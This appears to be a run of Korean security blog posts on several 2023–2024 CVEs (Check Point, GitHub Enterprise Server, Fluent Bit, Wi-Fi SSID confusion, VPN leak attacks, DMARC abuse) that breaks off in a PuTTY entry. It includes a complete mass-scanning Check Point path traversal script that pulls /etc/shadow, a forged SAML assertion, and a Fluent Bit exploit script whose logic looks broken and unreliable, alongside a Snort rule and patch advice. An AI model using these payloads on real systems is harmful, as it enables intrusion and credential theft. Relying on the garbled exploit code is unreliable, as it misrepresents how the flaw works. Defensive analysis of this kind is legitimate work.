1. 취약점 [1]

[사진 1] CVE-2024-24919

- Check Point사 제품들에서 발견된 Path Traversal 취약점
> 익스플로잇에 성공한 공격자들은 민감 정보를 탈취할 수 있음

구분 제품 영향받는 버전
영향받는 버전 CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis, Quantum Security Gateways, Quantum Spark Appliances R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20

 

2. 주요내용 [2]

- 패치 전후를 비교해 보면 "send_path_traversal_alert_log"라는 새 로깅 함수가 추가되어 있음
> 해당 함수는 sanitize_filename 함수에 의해 호출
> sanitize_filename를 참조를 확인하면 "sub_80F09E0 함수"와 "cpHttpSvc_register_query 함수"를 찾을 수 있음

 

[사진 2] sub_80F09E0

 

- cpHttpSvc_register_query 함수는 /clients/MyCRL URL을 사용하는 것으로 확인됨
> 해당 엔드포인트는 특정 경로를 GET 또는 POST로 요청하면 파일 시스템에서 해당 경로에 있는 파일을 반환해주는 역할을 수행
> URL에 특정 제어 문자를 추가(Ex. /clients/ MyCRL/test%0Atest) 하여 GET 요청을 전송하거나 POST 요청에 ..를 추가하는 경우 에러를 반환

 

sub_80F09E0 함수에는 _fopen 및 _fread 함수가 있음을 확인할 수 있음
> IDA가 인식하지 못하는 문자열들을 참조하는 것을 확인할 수 있음
> GDB를 통해 확인해보면, 사용자가 요청한 URL과 하드코딩된 여러 문자열을 strstr()로 비교 및 일치 시 파일 다운로드를 허용
하드코딩된 문자열 중 "CSHELL/"라는 문자열을 확인 가능

 

[사진 3] CSHELL/

CSHELL/ 문자열 뒤"../"를 추가할 경우
strstr() 함수는 CSHELL/ 문자열이 있기에 참을 반환
> 따라서, 추가한 ../ 문자열에의해 Path Traversal을 수행할 수 있게 됨

 

[사진 4] strstr() 결과

<<최종 페이로드 예시>>
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

 

2.1 PoC [3]

- /clients/MyCRL URL로 POST 요청
- aCSHELL 매개변수에 경로 순회 문자(../) 및 대상 파일(/etc/passwd 등)을 포함해 요청 

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']


def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")


def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC - erg0sum")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")


if __name__ == "__main__":
    main()

 

[영상 1] PoC 시연 영상

3. 대응방안

- 벤더사 제공 Hotfix 적용 [5]
> 핫픽스 적용 후 약한 인증 방법과 비밀번호를 사용한 모든 로그인 시도가 자동으로 차단 및 기록됨

 

- 취약한 사용자 계정 제거, 계정 정보 변경 등 조치

 

- 탐지정책 적용

alert tcp any any -> any any (msg:"CVE-2024-24919 Check Point Path Traversal"; content:"POST"; http_method;content:"/clients/MyCRL"; nocase; http_uri;content:"aCSHELL"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-24919
[2] https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
[3] https://github.com/seed1337/CVE-2024-24919-POC
[4] https://www.youtube.com/watch?v=h7iWwEBmlck
[5] https://support.checkpoint.com/results/sk/sk182336
[6] https://hackyboiz.github.io/2024/06/01/j0ker/2024-06-01/
[7] https://www.dailysecu.com/news/articleView.html?idxno=156396

1. GitHub Enterprise Server (GHES) [1]

- 기업을 위한 소프트웨어 개발, 확장 및 제공을 용이하게 하는 자체 호스팅 플랫폼

 

2. 취약점

[사진 1] CVE-2024-4985 [2]

 

- 취약한 버전의 GHES에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 익스플로잇에 성공한 공격자는 사전 인증 없이 GHES 인스턴스에 액세스할 수 있음

영향받는버전
- GitHub Enterprise Server 3.9.15 이전 버전
- GitHub Enterprise Server 3.10.12 이전 버전
- GitHub Enterprise Server 3.11.10 이전 버전
- GitHub Enterprise Server 3.12.4 이전 버전

 

2.1 주요 내용

SAML SSO 인증과 선택적 암호화 어설션 기능을 사용하는 GHES 서버는 해당 취약점의 영향 받음 (구체적인 내용 확인 불가)

> GHES가 암호화된 SAML 클레임을 처리하는 방식으로 발생하는 취약성을 이용

> 올바른 사용자 정보를 포함하는 가짜 SAML 클레임을 생성

> GHES가 가짜 SAML 클레임을 처리할 때 서명의 유효성을 올바르게 확인할 수 없어 공격자가 인스턴스에 엑세스 가능

SAML (Security Assertion Markup Language) [3] - 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술 (Single Sign-On)
- 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
선택적 암호화 어설션 [4] - IdP가 어설션 암호화를 지원하는 경우 인증 프로세스 중 보안 강화를 위해 GitHub Enterprise Server에서 암호화된 어설션을 구성

 

※ 암호화된 어설션은 Default로 비활성화되어 있으며, 다음 2 가지 경우는 취약점의 영향을 받지않음
① 암호화된 어설션 없이 SAML SSO 인증을 사용하는 서버
② SAML SSO를 사용하지 않는 서버

 

2.1 PoC [5]

- hxxps://your-ghes-instance[.]com: 대상 GHES 서버 URL

<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
  <Audience>https://your-ghes-instance.com</Audience>
  <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
    <SubjectConfirmationData>
      <NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
    </SubjectConfirmationData>
  </SubjectConfirmation>
  <AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
    <AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
  </AttributeStatement>
</Assertion>

 

3. 해결방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GitHub Enterprise Server 3.9.15 이전 버전 3.9.15 [7]
3.10.12  이전 버전 3.10.12 [8]
3.11.10 이전 버전 3.11.10 [9]
3.12.4 이전 버전 3.12.4 [10]

 

4.참고

[1] https://docs.github.com/en/enterprise-server@3.10/admin/overview/about-github-enterprise-server
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-4985
[3] https://www.microsoft.com/ko-kr/security/business/security-101/what-is-security-assertion-markup-language-saml
[4] https://docs.github.com/en/enterprise-server@3.12/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions
[5] https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71445&menuNo=205020
[7] https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.15
[8] https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.12
[9] https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.10
[10] https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.4
[11] https://www.hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
[12] https://thehackernews.com/2024/05/critical-github-enterprise-server-flaw.html
[13] https://www.boannews.com/media/view.asp?idx=129975&page=1&kind=1

1. Fluent Bit [1][2]

- 오픈소스 멀티플랫폼 로그 프로세서 도구
- 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행
- 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점
- Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용

 

2. 취약점

[사진 1] CVE-2024-4323

 

- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5)
익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능

영향받는 버전
- Fluent Bit 2.0.7 ~ 3.0.3 버전

 

2.1 주요 내용

- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생

/api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생

문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발

 

> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당
입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨

※ cd_traces(): fluent-bit/src/http_server/api/v1/trace.c
※ flb_sds_create_len(): fluent-bit/src/flb_sds.c

[사진 2] 취약점 발생 위치

 

※ 취약점 발생 시나리오 예시
- 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능
- -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음
- 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음
- -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생
-  더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발

 

2.2 PoC  [4]

- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달

import requests
import argparse

def exploit(url, port, remote_code):
    target_url = f"http://{url}:{port}"

    # Malicious payload to trigger the memory corruption
    malicious_payload = (
        "GET /traces HTTP/1.1\r\n"
        f"Host: {url}\r\n"
        "Content-Length: 1000000\r\n"  # Large content length to trigger buffer overflow
        "Connection: keep-alive\r\n\r\n"
        + "A" * 1000000  # Large amount of data to overflow the buffer
        + remote_code  # Inject remote code at the end
    )

    try:
        response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
        print(f"Response Code: {response.status_code}")
        print(f"Response Body: {response.text}")
    except Exception as e:
        print(f"Exploit failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--port", required=True, help="Target port number")
    parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")

    args = parser.parse_args()

    exploit(args.url, args.port, args.code)

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

취약점 영향 받는 버전 해결 버전
CVE-2024-4323 Fluent Bit 2.0.7 ~ 3.0.3 버전 Fluent Bit 3.0.4 버전

 

4. 참고

[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

DNS BIND DDoS 취약점  (0) 2024.07.31
NXDomain Flooding  (0) 2024.07.28
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

1. 개요

WiFi 표준의 설계 결함으로 인해 SSID 혼동 공격이 발생할 수 있음 [1]
- 피해자를 속여 취약한 네트워크에 연결시키거나 트래픽을 탈취할 수 있음
IEEE 802.11 WiFi 표준 자체의 설계 결함으로 모든 장치 및 운영 체제의 WiFi 클라이언트에 영향

> 해당 취약점에 CVE-2023-52424 할당

 

2. 주요내용

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-52424

 

- 취약점의 근본 원인 IEEE 802.11 표준이 클라이언트 연결 시 SSID(네트워크 이름)를 항상 인증하지 않는다는 것

> 즉, SSID 인증 부족을 악용해 피해자가 다른 Wi-Fi 네트워크에 연결하도록 속이는 것

 

- 인증 핸드셰이크 중 SSID를 사용하여 암호화키를 도출하는지 여부가 취약성 여부를 결정

인증 프로토콜 설명
WEP - 취약한 RC4 알고리즘을 사용하기 때문으로 판단됨
> 키 스트림 편향 문제, 완전한 난수가 아닌 의사난수 사용 등
WPA3 - SAE 핸드셰이크에서 PMK를 생성하는데 SSID를 사용하지 않는 선택적 모드 존재
> SAE (Simultaneous Authentication of Equals): 두 장치가 공유한 임의의 숫자를 사용해 공유 키를 계산해 통신에 암호화
> PMK (Pairwise Master Key): SAE에 의해 생성되는 공유 키
802.11X/EAP - PMK를 생성하기 위해 SSID를 사용하지 않음
AMPE - 인증을 위해 802.1X를 사용하며, 802.1X는 SSID를 확인하지 않음
FILS - PMK를 생성하는 데 사용되는 공유 키가 EAP 핸드셰이크에 의해 생성되는 경우 취약
- 또는, 캐시된 PMK를 사용하는 경우 피해자가 이전에 신뢰할 수 없는 대상 네트워크에 연결한 경우에만 취약

 

[사진 2] 취약 프로토콜 (주황색: 특정 조건 하 취약)

 

- 공격에 성공하기 위해서는 세 가지 조건이 존재

① 피해자는 신뢰할 수 있는 Wi-Fi 네트워크에 연결을 시도

② 신뢰할 수 있는 네트워크와 동일한 인증 자격 증명을 사용하는 악성 네트워크가 존재

③ 공격자는 피해자와 신뢰할 수 있는 네트워크 사이에서 MitM 공격을 수행할 수 있는 범위 내 위치

 

- 공격 과정은 다음과 같음

① 공격자는 신뢰할 수 있는 네트워크와 유사한(동일한 인증 자격 증명을 사용) 악성 AP 및 네트워크를 구성

② 악성 네트워크를 신뢰할 수 있는 네트워크로 가장하여(SSID 변경) 네트워크에 광고

③ 피해자의 Wi-Fi 클라이언트는 신뢰할 수 있는 네트워크와 연결된 것으로 착각(실제로는 악성 네트워크와 연결)

④ 공격자는 트래픽을 가로채 SSID를 변경해가며(신뢰<->악성) 중간자 공격을 수행

 

※ 일부 VPN 클라이언트의 경우 "신뢰할 수 있는" Wi-Fi 네트워크에 연결할 때 자동으로 VPN 연결 비활성화

> 일반적으로 VPN 설정에서 신뢰할 수 있는 SSID를 지정하여 사용

> SSID 혼동 공격이 성공하면 VPN이 비활성화되어 사용자 트래픽이 노출

[사진 3] SSID 혼동 공격 과정

 

대응방안 Wi-Fi 표준 개선 - 보호된 네트워크에 연결할 때 SSID 인증을 의무화하도록 표준 업데이트
> 4-Way 핸드셰이크 과정에서 SSID를 포함하도록 업데이트
Wi-Fi 클라이언트 개선 - 클라이언트 수준에서 비콘 보호 기능이 향상되면 공격 방어에 도움
> 비콘: 무선 액세스 포인트가 주기적으로 전송하여 자신의 존재를 알리는 관리 프레임
> 현재 논의중인 Wi-Fi 7은 비콘 보호에 대한 지원을 의무화
자격 증명 재사용 방지 - SSID 전체에서 자격 증명 재사용 방지
> 기업 네트워크는 고유한 RADIUS 서버 CommonName 사용
> 가정용 네트워크는 SSID 별로 고유한 비밀번호 사용

 

3. 참고

[1] https://www.top10vpn.com/research/wifi-vulnerability-ssid/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-52424
[3] https://www.boannews.com/media/view.asp?idx=129889&page=1&kind=1
[4] https://www.dailysecu.com/news/articleView.html?idxno=156035

1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

 

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

 

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

[사진 1] LocalNet 공격 요약

 

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

 

[사진 2] LocalNet 공격 과정

 

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

 

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

[사진 3] ServerIP 공격 요약

 

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

 

[사진 4] ServerIP 공격 과정

 

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

 

2.3 취약점 영향 및 대응 방안

[사진 5] TunnelCrack에 영향받는 VPN 클라이언트 비율 (좌 LocalNet, 우 ServerIP)

구분 대응방안
LocalNet - 로컬 트래픽 비활성화 (단, 로컬 네트워크 사용이 불가해짐)
- 라우팅할 수 없는 IP 주소에 대한 직접 액세스만 허용 (로컬 네트워크에 대한 액세스가 필수인 경우)
ServerIP - 정책 기반 라우팅 (VPN 클라이언트를 제외한 모든 애플리케이션의 트래픽을 VPN 터널을 통해 전송)
- 서버 IP 주소 확인 (클라이언트가 서버에 연결되면 VPN 서버의 IP 주소 확인)
- 인증된 DNS 사용 (DNSSEC 등)

 

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

 

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

 

[사진 6] TunnelVision 공격 과정 [4]

 

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

 

[사진 7] 옵션 121을 악용한 정적 경로 [4]

 

 

[영상 1] TunnelVision 공격 시연 영상 [5]

 

3.1 대응방안

구분 설명
DHCP Snooping - DHCP 서버를 보호하기 위해 사용하는 기능
> 스위치에는 DHCP 서버 또는 DHCP Relay Agent가 접속된 Trusted Port와 DHCP 클라이언트가 접속된 Untrusted Port가 있음
> Untrusted Port에서 DHCP 응답 메시지를 확인하면 차단 (DHCP Spoofing 방지)
> 또한, Ethernet 프레임의 SRC MAC 주소와 DHCP 메시지의 클라이언트 MAC 주소를 비교해 정상 여부 판단 (DHCP 고갈 공격 방지)
옵션 121 비활성화 - TunnelVision은 옵션 121을 악용하므로 옵션 121 비활성화시 완화할 수 있음
포트 보안 - 포트에 연결된 PC의 MAC 주소를 등록한 후 등록된 MAC 주소에서 수신한 패킷만 전달

 

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

1. 개요 [1]

- 미국 국가안보국(NSA), 연방수사국(FBI), 국무부는 이메일 보안 프로토콜을 악용한 북한 해킹그룹 관련 보안 권고 발표
- 북한 해킹그룹은 신분을 가장하여 스피어피싱 캠페인을 수행

 

2. 주요내용

북한 해킹그룹은 이메일 보안 프로토콜 DMARC을 악용해 피싱 메일을 발송

 

- DMARC (Domain-based Message Authentication Reporting and Conformance) [2][3]
SPF와 DKIM을 사용해 메일의 인증 여부를 확인하고, 메일이 SPF와 DKIM 검사를 통과하지 못하면 DMARC 정책이 실행

> DNS TXT 레코드에 명시

※ DMARC 정책 : 의심스러운 메일을 처리하는 방법이 명시

 

> SPF와 DKIM을 기반으로 동작하기에 SPF와 DKIM을 먼저 설정해야 함

※ SPF (Sender Policy Framework) : 수신측 메일서버가 발신측 메일 발송 IP가 DNS에 등록된 IP가 맞는지 확인하여 스팸인지 아닌지 확인

※ DKIM (Domain Keys Identified Mail) : 수신측 메일서버가 발신측에서 보낸 전자서명과 DNS에 등록된 DKIM 공개키로 전자서명을 검증하여 스팸인지 아닌지 확인

 

- DMARC 레코드 다음과 같은 항목으로 구성 [4][5]

DMARC 레코드 형식 예시: v=DMARC1; p=none; aspf=r; adkim=r; rua=mailto:report@example.com
항목 설명 비고
v - DMARC의 버전을 설명하며, 반드시 가장 먼저 선언되어야 함 필수
p - 반드시 v 다음에 선언되어야 함
- 수신 서버에서 DMARC로 인증되지 않은 메일에 대한 처리 방법 명시
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
필수
sp - 하위 도메인에서 전송된 메일에 대한 정책
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
 
aspf - 메일 정보가 SPF 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
adkim - 메일 정보가 DKIM 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
rua - DMARC 처리 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
ruf - DMARC 처리 실패 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
pct - DMARC 정책을 적용할 이메일 비중
- 0 ~ 100까지 설정 가능하며 기본값은 100
 
fo - 실패 보고서(ruf)를 생성할 기준
> 0: SPF, DKIM 모두 실패 (기본값)
> 1: SPF, DKIM 둘 중 하나 실패
> s: SPF 실패
> d: DKIM 실패
 
rf - 실패 보고서(ruf) 형식에 대한 설정
- 값 afrf 고정
 
ri - 실패를 집계할 기간으로, 설정된 주기마다 rua 발송
- 기본값: 86400초
 

 

- 북한 공격자들은 "p=none" 설정의 약점을 공격에 악용

> DMARC 레코드 설정에 따르면 p=none 설정은 검증 실패 시 아무런 조치 없이 메일을 수신

[사진 1] p=none

 

- 또는 메일 헤더를 조작하거나 [사진 2], 메일 본문에 회신 메일을 명시하여 회신을 유도 [사진 3]

 

[사진 2] 메일 헤더 조작
[사진 3] 메일 본문 회신 메일 명시

 

- 따라서, 위협에 대응하기 위해 DMARC 보안 정책을 구현할 것을 권장

> "v=DMARC1; p=quarantine;" 또는 "v=DMARC1; p=reject;"로 설정을 업데이트

> rua, ruf 레코드를 사용해 통합 보고서를 수신하여 가시성 확보 및 잠재적 보안 침해 식별

> 단, DMARC 정책 적용으로 발송한 메일이 수신자에게 전달되지 않을 수 있으므로, 영향도 검증 필요

 

3. 참고

[1] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3762915/nsa-highlights-mitigations-against-north-korean-actor-email-policy-exploitation/
[2] https://www.crinity.net/Newsletter/2019/06/Coffee_Break.html
[3] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[4] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[5] https://docs.nhncloud.com/ko/Notification/Email/ko/dmarc-record/
[6] https://www.dailysecu.com/news/articleView.html?idxno=155699

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-31497 [2]

 

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

 

2.1 상세내용 [3]

